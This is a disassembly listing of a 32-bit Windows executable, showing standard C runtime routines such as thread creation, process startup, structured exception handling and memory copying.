		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-1Ch], ecx
		push	eax
		push	ecx
		call	sub_41530F
		pop	ecx
		pop	ecx
		retn
sub_4103C5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-1Ch]
		call	sub_412726
		int	3		; Trap to Debugger


loc_41043F:				; DATA XREF: sub_4104BF+74o
		push	esi
		call	sub_411E46
		call	sub_411E40
		push	eax
		call	sub_411E2B
		test	eax, eax
		jnz	short loc_41047F
		mov	esi, [esp+8]
		push	esi
		call	sub_411E40
		push	eax
		call	sub_411E70
		test	eax, eax
		jnz	short loc_410475
		call	dword_41C0A4	; RtlGetLastWin32Error
		push	eax
		call	dword_41C11C	; ExitThread


loc_410475:				; CODE XREF: .vty:00410466j
		call	dword_41C120	; GetCurrentThreadId
		mov	[esi], eax
		jmp	short loc_41049B
; ---------------------------------------------------------------------------


loc_41047F:				; CODE XREF: .vty:00410452j
		mov	ecx, [esp+8]
		mov	edx, [ecx+54h]
		mov	[eax+54h], edx
		mov	edx, [ecx+58h]
		mov	[eax+58h], edx
		mov	edx, [ecx+4]
		push	ecx
		mov	[eax+4], edx
		call	sub_412015


loc_41049B:				; CODE XREF: .vty:0041047Dj
		cmp	dword_426030, 0
		jz	short loc_4104B9
		push	offset dword_426030
		call	sub_4152A2
		test	eax, eax
		pop	ecx
		jz	short loc_4104B9
		call	dword_426030


loc_4104B9:				; CODE XREF: .vty:004104A2j
					; .vty:004104B1j
		call	loc_4103FE
		int	3		; Trap to Debugger

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4104BF	proc near		; CODE XREF: sub_4033DA+CCp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	edi
		mov	edi, [ebp+arg_8]
		xor	ebx, ebx
		cmp	edi, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_4104ED
		call	sub_40F79E
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40DCD8
		add	esp, 14h
		xor	eax, eax
		jmp	short loc_410569
; ---------------------------------------------------------------------------


loc_4104ED:				; CODE XREF: sub_4104BF+10j
		push	esi
		call	sub_411E46
		push	214h
		push	1
		call	sub_412363
		mov	esi, eax
		cmp	esi, ebx
		pop	ecx
		pop	ecx
		jz	short loc_410551
		call	sub_411FFD
		push	dword ptr [eax+6Ch]
		push	esi
		call	sub_411EC6
		mov	eax, [ebp+arg_C]
		or	dword ptr [esi+4], 0FFFFFFFFh
		mov	[esi+58h], eax
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		mov	[esi+54h], edi
		jnz	short loc_41052E
		lea	eax, [ebp+arg_8]


loc_41052E:				; CODE XREF: sub_4104BF+6Aj
		push	eax
		push	[ebp+arg_10]
		push	esi
		push	offset loc_41043F
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41C124	; CreateThread
		cmp	eax, ebx
		jnz	short loc_410568
		call	dword_41C0A4	; RtlGetLastWin32Error
		mov	[ebp+var_4], eax


loc_410551:				; CODE XREF: sub_4104BF+46j
		push	esi
		call	sub_41112C
		cmp	[ebp+var_4], ebx
		pop	ecx
		jz	short loc_410566
		push	[ebp+var_4]
		call	sub_40F7C4
		pop	ecx


loc_410566:				; CODE XREF: sub_4104BF+9Cj
		xor	eax, eax


loc_410568:				; CODE XREF: sub_4104BF+87j
		pop	esi


loc_410569:				; CODE XREF: sub_4104BF+2Cj
		pop	edi
		pop	ebx
		leave
		retn
sub_4104BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41056D	proc near		; CODE XREF: sub_4107B2-1A0p
					; sub_4107B2-103p ...

arg_0		= dword	ptr  4

		cmp	dword_42439C, 1
		jnz	short loc_41057B
		call	sub_4143CC


loc_41057B:				; CODE XREF: sub_41056D+7j
		push	[esp+arg_0]
		call	sub_41422C
		push	0FFh
		call	sub_4124E3
		pop	ecx
		pop	ecx
		retn
sub_41056D	endp


; =============== S U B	R O U T	I N E =======================================



sub_410591	proc near		; CODE XREF: sub_4107B2-11Bp
		cmp	word ptr ds:400000h, 5A4Dh
		jnz	short loc_4105CF
		mov	eax, ds:40003Ch
		cmp	dword ptr [eax+400000h], 4550h
		jnz	short loc_4105CF
		cmp	word ptr [eax+400018h],	10Bh
		jnz	short loc_4105CF
		cmp	dword ptr [eax+400074h], 0Eh
		jbe	short loc_4105CF
		xor	ecx, ecx
		cmp	[eax+4000E8h], ecx
		setnz	cl
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_4105CF:				; CODE XREF: sub_410591+9j
					; sub_410591+1Aj ...
		xor	eax, eax
		retn
sub_410591	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4107B2


loc_4105D2:				; CODE XREF: sub_4107B2+5j
		push	60h
		push	offset dword_41F920
		call	__SEH_prolog4
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-70h]
		push	eax
		call	dword_41C0A0	; GetStartupInfoA
		mov	dword ptr [ebp-4], 0FFFFFFFEh
		mov	edi, 94h
		push	edi
		push	0
		mov	ebx, dword_41C134
		call	ebx	; GetProcessHeap
		push	eax
		call	dword_41C130	; RtlAllocateHeap
		mov	esi, eax
		test	esi, esi
		jnz	short loc_41061D
		push	12h
		call	sub_41056D
		pop	ecx
		jmp	loc_4107A7
; ---------------------------------------------------------------------------


loc_41061D:				; CODE XREF: sub_4107B2-1A4j
		mov	[esi], edi
		push	esi
		call	dword_41C0D0	; GetVersionExA
		push	esi
		push	0
		test	eax, eax
		jnz	short loc_41063B
		call	ebx	; GetProcessHeap
		push	eax
		call	dword_41C12C	; RtlFreeHeap
		jmp	loc_4107A7
; ---------------------------------------------------------------------------


loc_41063B:				; CODE XREF: sub_4107B2-187j
		mov	eax, [esi+10h]
		mov	[ebp-20h], eax
		mov	eax, [esi+4]
		mov	[ebp-24h], eax
		mov	eax, [esi+8]
		mov	[ebp-28h], eax
		mov	edi, [esi+0Ch]
		and	edi, 7FFFh
		call	ebx	; GetProcessHeap
		push	eax
		call	dword_41C12C	; RtlFreeHeap
		mov	esi, [ebp-20h]
		cmp	esi, 2
		jz	short loc_41066D
		or	edi, 8000h


loc_41066D:				; CODE XREF: sub_4107B2-14Dj
		mov	ecx, [ebp-24h]
		mov	eax, ecx
		shl	eax, 8
		mov	edx, [ebp-28h]
		add	eax, edx
		mov	dword_4243B8, esi
		mov	dword_4243C0, eax
		mov	dword_4243C4, ecx
		mov	dword_4243C8, edx
		mov	dword_4243BC, edi
		call	sub_410591
		mov	[ebp-20h], eax
		xor	ebx, ebx
		inc	ebx
		push	ebx
		call	sub_415C1F
		pop	ecx
		test	eax, eax
		jnz	short loc_4106B5
		push	1Ch
		call	sub_41056D
		pop	ecx


loc_4106B5:				; CODE XREF: sub_4107B2-107j
		call	sub_41219F
		test	eax, eax
		jnz	short loc_4106C6
		push	10h
		call	sub_41056D
		pop	ecx


loc_4106C6:				; CODE XREF: sub_4107B2-F6j
		call	sub_415B7C
		mov	[ebp-4], ebx
		call	sub_41593C
		test	eax, eax
		jge	short loc_4106DF
		push	1Bh
		call	sub_412499
		pop	ecx


loc_4106DF:				; CODE XREF: sub_4107B2-DDj
		call	dword_41C128	; GetCommandLineA
		mov	dword_426028, eax
		call	sub_415807
		mov	dword_424394, eax
		call	sub_41574E
		test	eax, eax
		jge	short loc_410705
		push	8
		call	sub_412499
		pop	ecx


loc_410705:				; CODE XREF: sub_4107B2-B7j
		call	sub_4154DB
		test	eax, eax
		jge	short loc_410716
		push	9
		call	sub_412499
		pop	ecx


loc_410716:				; CODE XREF: sub_4107B2-A6j
		push	ebx
		call	sub_4125B5
		pop	ecx
		test	eax, eax
		jz	short loc_410728
		push	eax
		call	sub_412499
		pop	ecx


loc_410728:				; CODE XREF: sub_4107B2-93j
		call	sub_41547E
		test	[ebp-44h], bl
		jz	short loc_410738
		movzx	ecx, word ptr [ebp-40h]
		jmp	short loc_41073B
; ---------------------------------------------------------------------------


loc_410738:				; CODE XREF: sub_4107B2-82j
		push	0Ah
		pop	ecx


loc_41073B:				; CODE XREF: sub_4107B2-7Cj
		push	ecx
		push	eax
		push	0
		push	400000h
		call	sub_408170
		mov	[ebp-1Ch], eax
		cmp	dword ptr [ebp-20h], 0
		jnz	short loc_410758
		push	eax
		call	sub_412715


loc_410758:				; CODE XREF: sub_4107B2-62j
		call	sub_412737
		jmp	short loc_41078D
; END OF FUNCTION CHUNK	FOR sub_4107B2
; ---------------------------------------------------------------------------
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-2Ch], ecx
		push	eax
		push	ecx
		call	sub_41530F
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		mov	eax, [ebp-2Ch]
		mov	[ebp-1Ch], eax
		cmp	dword ptr [ebp-20h], 0
		jnz	short loc_410788
		push	eax
		call	sub_412726


loc_410788:				; CODE XREF: .vty:00410780j
		call	sub_412746
; START	OF FUNCTION CHUNK FOR sub_4107B2


loc_41078D:				; CODE XREF: sub_4107B2-55j
		mov	dword ptr [ebp-4], 0FFFFFFFEh
		mov	eax, [ebp-1Ch]
		jmp	short loc_4107AC
; END OF FUNCTION CHUNK	FOR sub_4107B2
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 0FFFFFFFEh
; START	OF FUNCTION CHUNK FOR sub_4107B2


loc_4107A7:				; CODE XREF: sub_4107B2-19Aj
					; sub_4107B2-17Cj
		mov	eax, 0FFh


loc_4107AC:				; CODE XREF: sub_4107B2-1Bj
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_4107B2

; =============== S U B	R O U T	I N E =======================================



sub_4107B2	proc near		; CODE XREF: sub_437085j

; FUNCTION CHUNK AT 004105D2 SIZE 0000018D BYTES
; FUNCTION CHUNK AT 0041078D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004107A7 SIZE 0000000B BYTES

		call	sub_415C79
		jmp	loc_4105D2
sub_4107B2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4107BC	proc near		; CODE XREF: sub_4016BB+Fp
					; sub_401806+44p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_41C350
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		test	eax, eax
		pop	edi
		mov	[ebp+var_4], eax
		pop	esi
		jz	short loc_4107EF
		test	byte ptr [eax],	8
		jz	short loc_4107EF
		mov	[ebp+var_C], 1994000h


loc_4107EF:				; CODE XREF: sub_4107BC+25j
					; sub_4107BC+2Aj
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	dword_41C138	; RaiseException
		leave
		retn	8
sub_4107BC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410806	proc near		; CODE XREF: sub_416498+65p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	ebp, [ebp+var_4]
		mov	esp, [ebx-4]
		jmp	eax
sub_410806	endp

; ---------------------------------------------------------------------------
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_410836	proc near		; CODE XREF: sub_415FB1+31p
					; sub_416407+59p ...

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_410836	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41083D	proc near		; CODE XREF: sub_4109CA+69p
					; sub_416498:loc_4164C0p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, large fs:0
		mov	[ebp+var_4], esi
		mov	[ebp+var_8], offset loc_410866
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	[ebp+arg_0]
		call	sub_41AE3E	; RtlUnwind


loc_410866:				; DATA XREF: sub_41083D+12o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	eax, 0FFFFFFFDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	edi, large fs:0
		mov	ebx, [ebp+var_4]
		mov	[ebx], edi
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_41083D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41088F	proc near		; CODE XREF: .vty:0041AE81j
					; .vty:0041AE9Cj ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416964
		add	esp, 20h
		mov	[ebp+var_8], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_41088F	endp

; ---------------------------------------------------------------------------


loc_4108C5:				; DATA XREF: sub_410B6F+24o
		push	esi
		cld
		mov	esi, [esp+0Ch]
		mov	ecx, [esi+8]
		xor	ecx, esi
		call	sub_410BCD
		push	0
		push	esi
		push	dword ptr [esi+14h]
		push	dword ptr [esi+0Ch]
		push	0
		push	dword ptr [esp+24h]
		push	dword ptr [esi+10h]
		push	dword ptr [esp+24h]
		call	sub_416964
		add	esp, 20h
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4108F5	proc near		; CODE XREF: sub_4109CA+81p
					; sub_416504+53p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	ebx
		cmp	[ebp+arg_0], 123h
		jnz	short loc_410917
		mov	eax, offset loc_41099E
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		xor	eax, eax
		inc	eax
		jmp	loc_4109C7
; ---------------------------------------------------------------------------


loc_410917:				; CODE XREF: sub_4108F5+Ej
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_4109CA
		mov	eax, dword_4231C4
		lea	ecx, [ebp+var_28]
		xor	eax, ecx
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_10], eax
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_38], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_34], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_30], eax
		call	sub_411FFD
		mov	eax, [eax+80h]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_34]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	[ebp+var_2C]
		pop	ecx
		pop	ecx
		and	[ebp+var_38], 0


loc_41099E:				; DATA XREF: sub_4108F5+10o
		cmp	[ebp+var_4], 0
		jz	short loc_4109BB
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_4109C4
; ---------------------------------------------------------------------------


loc_4109BB:				; CODE XREF: sub_4108F5+ADj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_4109C4:				; CODE XREF: sub_4108F5+C4j
		mov	eax, [ebp+var_38]


loc_4109C7:				; CODE XREF: sub_4108F5+1Dj
		pop	ebx
		leave
		retn
sub_4108F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109CA	proc near		; DATA XREF: sub_4108F5+26o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		cld
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		xor	ecx, [ebp+arg_4]
		call	sub_410BCD
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		jz	short loc_4109FA
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		xor	eax, eax
		inc	eax
		jmp	short loc_410A64
; ---------------------------------------------------------------------------
		jmp	short loc_410A64
; ---------------------------------------------------------------------------


loc_4109FA:				; CODE XREF: sub_4109CA+1Dj
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+18h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		push	[ebp+arg_0]
		call	sub_416964
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_410A38
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41083D


loc_410A38:				; CODE XREF: sub_4109CA+61j
		push	0
		push	0
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	123h
		call	sub_4108F5
		add	esp, 1Ch
		mov	eax, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	eax
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax


loc_410A64:				; CODE XREF: sub_4109CA+2Cj
					; sub_4109CA+2Ej
		pop	ebx
		leave
		retn
sub_4109CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410A67	proc near		; CODE XREF: sub_416504+81p
					; sub_4165F6+1C6p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, [edi+10h]
		mov	esi, [edi+0Ch]
		mov	[ebp+var_4], eax
		mov	ebx, esi
		jmp	short loc_410AAB
; ---------------------------------------------------------------------------


loc_410A7E:				; CODE XREF: sub_410A67+4Bj
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_410A88
		call	sub_416A94


loc_410A88:				; CODE XREF: sub_410A67+1Aj
		mov	ecx, [ebp+var_4]
		dec	esi
		mov	eax, esi
		imul	eax, 14h
		add	eax, ecx
		mov	ecx, [ebp+arg_8]
		cmp	[eax+4], ecx
		jge	short loc_410AA0
		cmp	ecx, [eax+8]
		jle	short loc_410AA5


loc_410AA0:				; CODE XREF: sub_410A67+32j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_410AAE


loc_410AA5:				; CODE XREF: sub_410A67+37j
		dec	[ebp+arg_4]
		mov	ebx, [ebp+arg_0]


loc_410AAB:				; CODE XREF: sub_410A67+15j
		mov	[ebp+arg_0], esi


loc_410AAE:				; CODE XREF: sub_410A67+3Cj
		cmp	[ebp+arg_4], 0
		jge	short loc_410A7E
		mov	eax, [ebp+arg_C]
		inc	esi
		mov	[eax], esi
		mov	eax, [ebp+arg_10]
		mov	[eax], ebx
		cmp	ebx, [edi+0Ch]
		ja	short loc_410AC8
		cmp	esi, ebx
		jbe	short loc_410ACD


loc_410AC8:				; CODE XREF: sub_410A67+5Bj
		call	sub_416A94


loc_410ACD:				; CODE XREF: sub_410A67+5Fj
		mov	eax, esi
		imul	eax, 14h
		add	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410A67	endp


; =============== S U B	R O U T	I N E =======================================



sub_410ADA	proc near		; CODE XREF: sub_4160EC+28p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	[esi], eax
		call	sub_411FFD
		mov	eax, [eax+98h]
		mov	[esi+4], eax
		call	sub_411FFD
		mov	[eax+98h], esi
		mov	eax, esi
		pop	esi
		retn
sub_410ADA	endp


; =============== S U B	R O U T	I N E =======================================



sub_410B02	proc near		; CODE XREF: sub_416212+60p

arg_0		= dword	ptr  4

		call	sub_411FFD
		mov	eax, [eax+98h]
		jmp	short loc_410B1A
; ---------------------------------------------------------------------------


loc_410B0F:				; CODE XREF: sub_410B02+1Aj
		mov	ecx, [eax]
		cmp	ecx, [esp+arg_0]
		jz	short loc_410B20
		mov	eax, [eax+4]


loc_410B1A:				; CODE XREF: sub_410B02+Bj
		test	eax, eax
		jnz	short loc_410B0F
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_410B20:				; CODE XREF: sub_410B02+13j
		xor	eax, eax
		retn
sub_410B02	endp


; =============== S U B	R O U T	I N E =======================================



sub_410B23	proc near		; CODE XREF: sub_416212+9p

arg_0		= dword	ptr  4

		push	esi
		call	sub_411FFD
		mov	esi, [esp+4+arg_0]
		cmp	esi, [eax+98h]
		jnz	short loc_410B45
		call	sub_411FFD
		mov	ecx, [esi+4]
		mov	[eax+98h], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_410B45:				; CODE XREF: sub_410B23+10j
		call	sub_411FFD
		mov	eax, [eax+98h]
		jmp	short loc_410B5B
; ---------------------------------------------------------------------------


loc_410B52:				; CODE XREF: sub_410B23+3Cj
		mov	ecx, [eax+4]
		cmp	esi, ecx
		jz	short loc_410B67
		mov	eax, ecx


loc_410B5B:				; CODE XREF: sub_410B23+2Dj
		cmp	dword ptr [eax+4], 0
		jnz	short loc_410B52
		pop	esi
		jmp	sub_416A94
; ---------------------------------------------------------------------------


loc_410B67:				; CODE XREF: sub_410B23+34j
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		pop	esi
		retn
sub_410B23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410B6F	proc near		; CODE XREF: sub_4160EC+7Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4231C4
		and	[ebp+var_18], 0
		lea	ecx, [ebp+var_18]
		xor	eax, ecx
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		inc	eax
		mov	[ebp+var_14], offset loc_4108C5
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_18], eax
		lea	eax, [ebp+var_18]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_416AE0
		mov	ecx, eax
		mov	eax, [ebp+var_18]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_410B6F	endp


; =============== S U B	R O U T	I N E =======================================



sub_410BCD	proc near		; CODE XREF: sub_40DBDC+EFp
					; .vty:004108D0p ...
		cmp	ecx, dword_4231C4
		jnz	short loc_410BD7
		rep retn
; ---------------------------------------------------------------------------


loc_410BD7:				; CODE XREF: sub_410BCD+6j
		jmp	sub_416B2C
sub_410BCD	endp


; =============== S U B	R O U T	I N E =======================================



sub_410BDC	proc near		; CODE XREF: sub_40D784+7p
					; sub_40D7C3+7p

arg_0		= byte ptr  4

		push	eax
		push	large dword ptr	fs:0
		lea	eax, [esp+8+arg_0]
		sub	esp, [esp+0Ch]
		push	ebx
		push	esi
		push	edi
		mov	[eax], ebp
		mov	ebp, eax
		mov	eax, dword_4231C4
		xor	eax, ebp
		push	eax
		push	dword ptr [ebp-4]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		lea	eax, [ebp-0Ch]
		mov	large fs:0, eax
		retn
sub_410BDC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_410C0F	proc near		; CODE XREF: sub_4160A3+7p

arg_0		= byte ptr  4

		push	eax
		push	large dword ptr	fs:0
		lea	eax, [esp+8+arg_0]
		sub	esp, [esp+0Ch]
		push	ebx
		push	esi
		push	edi
		mov	[eax], ebp
		mov	ebp, eax
		mov	eax, dword_4231C4
		xor	eax, ebp
		push	eax
		mov	[ebp-10h], esp
		push	dword ptr [ebp-4]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		lea	eax, [ebp-0Ch]
		mov	large fs:0, eax
		retn
sub_410C0F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410C50	proc near		; CODE XREF: sub_40D807+4Dp
					; sub_416288+CBp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_410C70
		cmp	edi, eax
		jb	loc_410E14


loc_410C70:				; CODE XREF: sub_410C50+16j
		cmp	ecx, 100h
		jb	short loc_410C97
		cmp	dword_426008, 0
		jz	short loc_410C97
		push	edi
		push	esi
		and	edi, 0Fh
		and	esi, 0Fh
		cmp	edi, esi
		pop	esi
		pop	edi
		jnz	short loc_410C97
		pop	esi
		pop	edi
		pop	ebp
		jmp	sub_415143
; ---------------------------------------------------------------------------


loc_410C97:				; CODE XREF: sub_410C50+26j
					; sub_410C50+2Fj ...
		test	edi, 3
		jnz	short loc_410CB4
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_410CD4
		rep movsd
		jmp	off_410DC4[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_410CB4:				; CODE XREF: sub_410C50+4Dj
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_410CCC
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_410CD4+4[eax*4]
; ---------------------------------------------------------------------------


loc_410CCC:				; CODE XREF: sub_410C50+6Ej
		jmp	dword ptr loc_410DD4[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_410CD4:				; CODE XREF: sub_410C50+58j
					; sub_410C50+B6j ...
		jmp	off_410D58[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_410CE5+3
; ---------------------------------------------------------------------------
		adc	al, 0Dh
		inc	ecx
		add	[eax], bh


loc_410CE5:				; DATA XREF: sub_410C50+8Co
		or	eax, 0D1230041h
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_410CD4
		rep movsd
		jmp	off_410DC4[edx*4]
; ---------------------------------------------------------------------------
		align 4
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
